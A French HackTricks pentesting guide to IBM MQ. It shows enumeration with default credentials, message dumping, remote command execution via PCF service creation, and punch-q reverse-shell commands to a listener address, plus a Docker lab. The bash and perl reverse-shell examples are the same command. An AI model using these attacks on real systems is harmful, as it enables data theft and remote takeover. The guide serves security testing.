# 1414 - Pentesting IBM MQ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Informations de base IBM MQ est une technologie d'IBM pour gérer les files d'attente de messages. Comme d'autres technologies de **courtier de messages**, elle est dédiée à la réception, au stockage, au traitement et à la classification des informations entre les producteurs et les consommateurs. Par défaut, **elle expose le port TCP IBM MQ 1414**. Parfois, une API REST HTTP peut être exposée sur le port **9443**. Les métriques (Prometheus) peuvent également être accessibles depuis le port TCP **9157**. Le port TCP IBM MQ 1414 peut être utilisé pour manipuler des messages, des files d'attente, des canaux, ... mais **aussi pour contrôler l'instance**. IBM fournit une documentation technique complète disponible sur [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq). ## Outils Un outil suggéré pour une exploitation facile est **[punch-q](https://github.com/sensepost/punch-q)**, avec une utilisation de Docker. L'outil utilise activement la bibliothèque Python `pymqi`. Pour une approche plus manuelle, utilisez la bibliothèque Python **[pymqi](https://github.com/dsuch/pymqi)**. Les dépendances [IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) sont nécessaires. ### Installation de pymqi Les **dépendances IBM MQ** doivent être installées et chargées : 1. Créez un compte (IBMid) sur [https://login.ibm.com/](https://login.ibm.com/). 2. Téléchargez les bibliothèques IBM MQ depuis [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Pour Linux x86_64, il s'agit de **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 3. Décompressez (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Exécutez `sudo ./mqlicense.sh` pour accepter les termes des licences. >Si vous utilisez Kali Linux, modifiez le fichier `mqlicense.sh` : supprimez/commentez les lignes suivantes (entre les lignes 105-110) : > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 >fi >``` 5. Installez ces paquets : ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Ensuite, ajoutez temporairement les fichiers `.so` à LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **avant** d'exécuter d'autres outils utilisant ces dépendances. Ensuite, vous pouvez cloner le projet [**pymqi**](https://github.com/dsuch/pymqi): il contient des extraits de code intéressants, des constantes, ... Ou vous pouvez directement installer la bibliothèque avec: `pip install pymqi`. ### Utilisation de punch-q #### Avec Docker Utilisez simplement: `sudo docker run --rm -ti leonjza/punch-q`. #### Sans Docker Clonez le projet [**punch-q**](https://github.com/sensepost/punch-q) puis suivez le readme pour l'installation (`pip install -r requirements.txt && python3 setup.py install`). Ensuite, vous pouvez l'utiliser avec la commande `punch-q`. ## Énumération Vous pouvez essayer d'énumérer le **nom du gestionnaire de file d'attente, les utilisateurs, les canaux et les files d'attente** avec **punch-q** ou **pymqi**. ### Gestionnaire de file d'attente Parfois, il n'y a aucune protection contre l'obtention du nom du gestionnaire de file d'attente: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Canaux **punch-q** utilise une liste de mots internes (modifiable) pour trouver des canaux existants. Exemple d'utilisation : ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` Il arrive que certaines instances IBM MQ acceptent des requêtes MQ **non authentifiées**, donc `--username / --password` n'est pas nécessaire. Bien sûr, les droits d'accès peuvent également varier. Dès que nous obtenons un nom de canal (ici : `DEV.ADMIN.SVRCONN`), nous pouvons énumérer tous les autres canaux. L'énumération peut être réalisée avec ce extrait de code `code/examples/dis_channels.py` de **pymqi** : ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... Mais **punch-q** intègre également cette partie (avec plus d'informations !). Il peut être lancé avec : ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Files d'attente Il y a un extrait de code avec **pymqi** (`dis_queues.py`), mais **punch-q** permet de récupérer plus d'informations sur les files d'attente : ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Exploiter ### Extraire les messages Vous pouvez cibler des files d'attente/canaux pour renifler / extraire les messages de ceux-ci (opération non destructive). *Exemples :* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **N'hésitez pas à itérer sur toutes les files d'attente identifiées.** ### Exécution de code > Quelques détails avant de continuer : IBM MQ peut être contrôlé de plusieurs manières : MQSC, PCF, Commande de contrôle. Certaines listes générales peuvent être trouvées dans la [documentation IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) est ce sur quoi nous nous concentrons pour interagir à distance avec l'instance. **punch-q** et plus encore **pymqi** sont basés sur des interactions PCF. > > Vous pouvez trouver une liste de commandes PCF : > * [Dans la documentation PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), et > * [à partir des constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > Une commande intéressante est `MQCMD_CREATE_SERVICE` et sa documentation est disponible [ici](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Elle prend en argument une `StartCommand` pointant vers un programme local sur l'instance (exemple : `/bin/sh`). > > Il y a aussi un avertissement concernant la commande dans la documentation : *"Attention : Cette commande permet à un utilisateur d'exécuter une commande arbitraire avec l'autorité mqm. Si des droits sont accordés pour utiliser cette commande, un utilisateur malveillant ou négligent pourrait définir un service qui endommage vos systèmes ou vos données, par exemple en supprimant des fichiers essentiels."* > > *Note : toujours selon la documentation IBM MQ (Référence d'administration), il existe également un point de terminaison HTTP à `/admin/action/qmgr/{qmgrName}/mqsc` pour exécuter la commande MQSC équivalente à la création de service (`DEFINE SERVICE`). Cet aspect n'est pas encore abordé ici.* La création / suppression de service avec PCF pour l'exécution de programme à distance peut être effectuée par **punch-q** : **Exemple 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > Dans les journaux d'IBM MQ, vous pouvez lire que la commande a été exécutée avec succès : > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: La commande '808544aa7fc94c48' a démarré. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` Vous pouvez également énumérer les programmes existants sur la machine (ici `/bin/doesnotexist` ... n'existe pas) : ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Soyez conscient que le lancement du programme est asynchrone. Vous avez donc besoin d'un deuxième élément pour exploiter la faille** ***(écouteur pour un shell inversé, création de fichier sur un service différent, exfiltration de données via le réseau...)*** **Exemple 2** Pour un shell inversé facile, **punch-q** propose également deux charges utiles de shell inversé : * Une avec bash * Une avec perl *Bien sûr, vous pouvez en créer une personnalisée avec la commande `execute`.* Pour bash : ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` Pour perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### PCF personnalisé Vous pouvez vous plonger dans la documentation IBM MQ et utiliser directement la bibliothèque python **pymqi** pour tester une commande PCF spécifique qui n'est pas implémentée dans **punch-q**. **Exemple :** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` Si vous ne parvenez pas à trouver les noms des constantes, vous pouvez vous référer à la [documentation IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors). > *Exemple pour [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Décimal = 73). Il nécessite le paramètre `MQCA_CLUSTER_NAME` (Décimal = 2029) qui peut être `*` (Doc: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Erreur") > else: > print(response) > > qmgr.disconnect() > ``` ## Environnement de test Si vous souhaitez tester le comportement et les exploits d'IBM MQ, vous pouvez mettre en place un environnement local basé sur Docker : 1. Avoir un compte sur ibm.com et cloud.ibm.com. 2. Créer un IBM MQ conteneurisé avec : ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Par défaut, l'authentification est activée, le nom d'utilisateur est `admin` et le mot de passe est `passw0rd` (variable d'environnement `MQ_ADMIN_PASSWORD`). Ici, le nom du gestionnaire de file d'attente a été défini sur `MYQUEUEMGR` (variable `MQ_QMGR_NAME`). Vous devez avoir IBM MQ en cours d'exécution avec ses ports exposés : ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > La vieille version des images Docker IBM MQ se trouve à l'adresse suivante : https://hub.docker.com/r/ibmcom/mq/. ## Références * [Gist de mgeeky - "Notes pratiques sur les tests de pénétration IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [Documentation IBM MQ](https://www.ibm.com/docs/en/ibm-mq)